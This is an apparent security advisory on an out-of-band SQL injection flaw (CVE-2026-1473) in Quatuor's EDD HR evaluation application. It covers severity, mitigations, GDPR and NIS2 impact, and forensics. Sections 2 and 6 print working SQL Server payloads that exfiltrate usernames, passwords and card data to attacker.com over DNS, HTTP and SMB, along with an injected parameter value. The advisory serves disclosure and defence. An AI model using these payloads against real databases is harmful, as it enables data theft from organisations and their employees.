Comprehensive Technical Analysis of EUVD-2026-4745 (CVE-2026-1473)

Out-of-Band SQL Injection (OOB SQLi) in Quatuor Performance Evaluation (EDD) Application

1. Vulnerability Assessment & Severity Evaluation

Vulnerability Overview

EUVD-2026-4745 (CVE-2026-1473) describes an Out-of-Band SQL Injection (OOB SQLi) vulnerability in the Evaluación de Desempeño (EDD) application, developed by Gabinete Técnico de Programación (Quatuor). The flaw resides in the Id_usuario parameter of the /evaluacion_competencias_evalua.aspx endpoint, enabling attackers to exfiltrate sensitive database information via external network channels rather than direct application responses.

CVSS v4.0 Severity Analysis

Metric	Value	Explanation
Base Score	9.3 (Critical)	High impact on confidentiality and integrity, with low attack complexity.
Attack Vector (AV:N)	Network	Exploitable remotely over the internet.
Attack Complexity (AC:L)	Low	No specialized conditions required; standard SQLi techniques apply.
Attack Requirements (AT:N)	None	No user interaction or prior authentication needed.
Privileges Required (PR:N)	None	Unauthenticated exploitation possible.
User Interaction (UI:N)	None	No victim interaction required.
Vulnerable Confidentiality (VC:H)	High	Full database content exposure possible.
Vulnerable Integrity (VI:H)	High	Data manipulation (e.g., INSERT/UPDATE/DELETE) possible.
Vulnerable Availability (VA:L)	Low	Limited impact on system availability (unless chained with DoS).
Subsequent Confidentiality (SC:N)	None	No further confidentiality impact beyond initial breach.
Subsequent Integrity (SI:N)	None	No further integrity impact beyond initial breach.
Subsequent Availability (SA:N)	None	No cascading availability impact.

Key Takeaways:

• Critical severity (9.3) due to unauthenticated remote exploitation with high confidentiality and integrity impact.
• OOB SQLi is particularly dangerous because it bypasses traditional detection mechanisms (e.g., WAFs) by using DNS, HTTP, or SMB exfiltration instead of direct responses.
• The lack of EPSS (Exploit Prediction Scoring System) data suggests limited public exploit availability, but the low attack complexity makes weaponization likely.

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2. Potential Attack Vectors & Exploitation Methods

Exploitation Mechanics

OOB SQLi leverages database functions that initiate external network requests to exfiltrate data. Common techniques include:

A. DNS Exfiltration (Most Common)

• Payload Example:

  DECLARE @p varchar(1024);
  EXEC('master..xp_dirtree "\\'+(SELECT TOP 1 username FROM users)+'.attacker.com\foo"');
  

  • The database attempts to resolve a domain containing the extracted data (e.g., admin.attacker.com).
  • Attacker monitors DNS logs for exfiltrated data.

B. HTTP/S Exfiltration

• Payload Example (Microsoft SQL Server):

  EXEC sp_OACreate 'MSXML2.XMLHTTP', @obj OUT;
  EXEC sp_OAMethod @obj, 'open', NULL, 'GET', 'http://attacker.com/?data='+(SELECT TOP 1 password FROM users), 'false';
  EXEC sp_OAMethod @obj, 'send';
  

  • The database sends an HTTP request to an attacker-controlled server with the stolen data.

C. SMB/UNC Path Exfiltration

• Payload Example:

  EXEC xp_fileexist '\\attacker.com\share\' + (SELECT TOP 1 credit_card FROM payments);
  

  • Forces the database to authenticate to an attacker-controlled SMB server, leaking data via NetNTLM hashes or direct file access.

D. Time-Based OOB (Less Common)

• If DNS/HTTP is blocked, attackers may use time delays to infer data via conditional requests (e.g., IF (SELECT SUBSTRING(password,1,1) FROM users WHERE id=1)='a' WAITFOR DELAY '0:0:5').

Attack Scenario

1. Reconnaissance:

   • Attacker identifies the vulnerable endpoint (/evaluacion_competencias_evalua.aspx) and parameter (Id_usuario).
   • Uses tools like Burp Suite, SQLmap (with --dns-domain flag), or custom scripts to test for OOB SQLi.

2. Exploitation:

   • Crafts a payload to extract data via DNS/HTTP (e.g., Id_usuario=1; EXEC xp_dirtree '//' + (SELECT password FROM users WHERE id=1) + '.attacker.com').
   • Monitors external channels (e.g., DNS logs, HTTP server) for exfiltrated data.

3. Post-Exploitation:

   • Data Theft: Extracts PII, credentials, or sensitive business data.
   • Database Manipulation: Modifies records (e.g., altering performance evaluations).
   • Lateral Movement: Uses stolen credentials to access other systems.

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3. Affected Systems & Software Versions

Impacted Product

• Application: Evaluación de Desempeño (EDD) (Performance Evaluation System)
• Vendor: Gabinete Técnico de Programación (Quatuor)
• Affected Versions: All versions (as per ENISA ID edc55628-7e73-3450-b152-31c995c63b0d)
• Vulnerable Component: /evaluacion_competencias_evalua.aspx (parameter Id_usuario)

Underlying Technologies (Likely)

• Backend: Microsoft SQL Server (given the use of xp_dirtree, sp_OACreate).
• Frontend: ASP.NET (.aspx extension).
• Database: Likely SQL Server 2016+ (due to OOB capabilities).

Deployment Context

• Target Organizations:
  • Public sector entities (e.g., Spanish government agencies, EU institutions using EDD for employee evaluations).
  • Private companies in Spain/EU with performance management systems.
• Risk Profile:
  • High-value targets (HR databases contain sensitive employee data).
  • Regulatory risk (GDPR non-compliance if PII is exposed).

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4. Recommended Mitigation Strategies

Immediate Actions (Short-Term)

1. Input Validation & Parameterized Queries

   • Replace dynamic SQL with prepared statements (e.g., SqlCommand with parameters in .NET).
   • Example Fix (C#):

     // Vulnerable (dynamic SQL)
     string query = "SELECT * FROM users WHERE Id_usuario = " + Id_usuario;
     
     // Secure (parameterized query)
     SqlCommand cmd = new SqlCommand("SELECT * FROM users WHERE Id_usuario = @Id_usuario", connection);
     cmd.Parameters.AddWithValue("@Id_usuario", Id_usuario);
     

2. Disable Dangerous SQL Server Features

   • Block OOB channels by disabling:
     • xp_dirtree, xp_fileexist, xp_subdirs (via sp_configure).
     • sp_OACreate, sp_OAMethod (OLE Automation Procedures).
   • Example:

     EXEC sp_configure 'show advanced options', 1;
     RECONFIGURE;
     EXEC sp_configure 'Ole Automation Procedures', 0;
     RECONFIGURE;
     

3. Web Application Firewall (WAF) Rules

   • Deploy OOB SQLi-specific rules (e.g., ModSecurity with OWASP CRS).
   • Block DNS/HTTP exfiltration attempts by monitoring:
     • Unusual outbound DNS requests (e.g., *.attacker.com).
     • HTTP requests to external domains from the database server.

4. Network-Level Protections

   • Restrict outbound traffic from the database server:
     • Block DNS (UDP 53) except to trusted resolvers.
     • Block HTTP/HTTPS (TCP 80/443) to external IPs.
   • Implement egress filtering to prevent data exfiltration.

Long-Term Remediation (Strategic)

1. Code Audit & Secure Development

   • Conduct a full security review of the EDD application.
   • Adopt secure coding practices (e.g., OWASP Top 10, CWE-89 for SQLi).
   • Use ORM frameworks (e.g., Entity Framework) to abstract SQL queries.

2. Database Hardening

   • Principle of Least Privilege: Restrict database user permissions (e.g., no xp_cmdshell access).
   • Enable SQL Server Audit Logging to detect suspicious queries.
   • Encrypt sensitive data at rest (TDE) and in transit (TLS).

3. Patch Management

   • Monitor for vendor patches (though no version-specific fix is listed, assume all versions are vulnerable).
   • Apply compensating controls if patches are delayed.

4. Threat Detection & Monitoring

   • Deploy SIEM solutions (e.g., Splunk, ELK) to detect:
     • Unusual outbound DNS/HTTP traffic from the database server.
     • SQL injection patterns in logs.
   • Implement anomaly detection for database query behavior.

5. Incident Response Planning

   • Develop a playbook for OOB SQLi incidents, including:
     • Containment: Isolate affected systems.
     • Forensics: Analyze DNS/HTTP logs for exfiltration attempts.
     • Notification: Comply with GDPR (Article 33) if PII is exposed.

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5. Impact on the European Cybersecurity Landscape

Regulatory & Compliance Risks

• GDPR Violation (Article 5, 32, 33):
  • Fines up to €20M or 4% of global revenue if PII is exposed.
  • Mandatory breach notification within 72 hours.
• NIS2 Directive (Critical Entities):
  • Public sector organizations using EDD may fall under NIS2, requiring incident reporting and risk management measures.
• ENISA Guidelines:
  • Failure to mitigate OOB SQLi may indicate non-compliance with ENISA’s "Good Practices for Security of Web Applications."

Sector-Specific Risks

Sector	Impact	Example Threat Scenario
Public Administration	High	Government employee performance data leaked, leading to blackmail or insider threats.
Healthcare	Critical	HR databases containing sensitive employee health records exposed.
Finance	High	Payroll or bonus data manipulated, leading to fraud.
Education	Medium	Faculty evaluation data tampered with, affecting promotions.

Broader Implications

• Supply Chain Risk:
  • Quatuor’s EDD may be integrated into larger HR/ERP systems, amplifying the blast radius.
• Reputation Damage:
  • Public disclosure could erode trust in Spanish/EU public sector IT vendors.
• Exploit Proliferation:
  • OOB SQLi is harder to detect than classic SQLi, increasing the risk of undetected breaches.

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6. Technical Details for Security Professionals

Exploitation Proof of Concept (PoC)

DNS Exfiltration (SQL Server)

-- Extract the first username via DNS
DECLARE @host varchar(1024);
SELECT @host = (SELECT TOP 1 username FROM users) + '.attacker.com';
EXEC('master..xp_dirtree "\\' + @host + '\foo"');

• Attacker’s DNS Server Logs:

  [2026-01-28 10:15:23] admin.attacker.com A 192.0.2.1
  

  → Extracted username: admin.

HTTP Exfiltration (SQL Server)

-- Extract the first password via HTTP
DECLARE @obj int, @url varchar(1024), @response varchar(8000);
SELECT @url = 'http://attacker.com/?data=' + (SELECT TOP 1 password FROM users);
EXEC sp_OACreate 'MSXML2.XMLHTTP', @obj OUT;
EXEC sp_OAMethod @obj, 'open', NULL, 'GET', @url, 'false';
EXEC sp_OAMethod @obj, 'send';

• Attacker’s HTTP Server Logs:

  GET /?data=P@ssw0rd123 HTTP/1.1
  

  → Extracted password: P@ssw0rd123.

Detection & Forensics

Indicators of Compromise (IoCs)

IoC Type	Example	Detection Method
DNS Requests	admin.attacker.com, password123.attacker.com	SIEM (e.g., Splunk, Wazuh)
HTTP Requests	GET /?data=secret123 HTTP/1.1	Web server logs, IDS (Snort/Suricata)
SQL Queries	xp_dirtree, sp_OACreate, EXEC with concatenated strings	Database audit logs
Network Traffic	Unusual outbound connections from DB server	NetFlow analysis, Zeek

Forensic Analysis Steps

1. Check Database Logs:
   • Look for unusual EXEC statements or external function calls (xp_dirtree, sp_OACreate).
2. Analyze DNS Logs:
   • Search for subdomains containing data (e.g., SELECT password FROM users → P@ssw0rd.attacker.com).
3. Inspect HTTP Traffic:
   • Review outbound HTTP requests from the database server to external IPs.
4. Memory Forensics:
   • Use Volatility or Rekall to check for malicious SQL processes in memory.

Advanced Mitigation Techniques

• Database Activity Monitoring (DAM):
  • Deploy Imperva, IBM Guardium, or Oracle Audit Vault to detect anomalous queries.
• Runtime Application Self-Protection (RASP):
  • Use Contrast Security or Hdiv to block SQLi at runtime.
• Deception Technology:
  • Deploy honeypot databases to detect OOB SQLi attempts.

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Conclusion & Recommendations

Key Findings

• EUVD-2026-4745 (CVE-2026-1473) is a critical OOB SQLi vulnerability in Quatuor’s EDD application, enabling unauthenticated remote data exfiltration.
• Exploitation is feasible with low complexity, posing a high risk to European organizations handling sensitive HR data.
• Immediate action is required to patch, harden databases, and deploy compensating controls.

Prioritized Recommendations

1. Patch or Mitigate Immediately:
   • Apply vendor patches (if available) or implement parameterized queries and disable OOB functions.
2. Deploy WAF & Network Protections:
   • Block DNS/HTTP exfiltration and monitor for SQLi patterns.
3. Conduct a Security Audit:
   • Review the EDD application for additional vulnerabilities (e.g., XSS, CSRF).
4. Enhance Monitoring:
   • Implement SIEM and DAM to detect OOB SQLi attempts.
5. Prepare for Incident Response:
   • Develop a GDPR-compliant breach response plan.

Final Risk Assessment

Factor	Risk Level	Justification
Exploitability	High	Unauthenticated, low complexity.
Impact	Critical	Full database compromise possible.
Detectability	Medium	OOB SQLi is stealthy but detectable with proper logging.
Remediation Difficulty	Medium	Requires code changes and database hardening.
Regulatory Risk	High	GDPR/NIS2 non-compliance likely if exploited.

Overall Risk: Critical (9.3/10) – Immediate remediation is essential.

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References:

• INCIBE Advisory
• CVSS v4.0 Calculator
• OWASP SQL Injection Prevention Cheat Sheet
• ENISA Good Practices for Web Application Security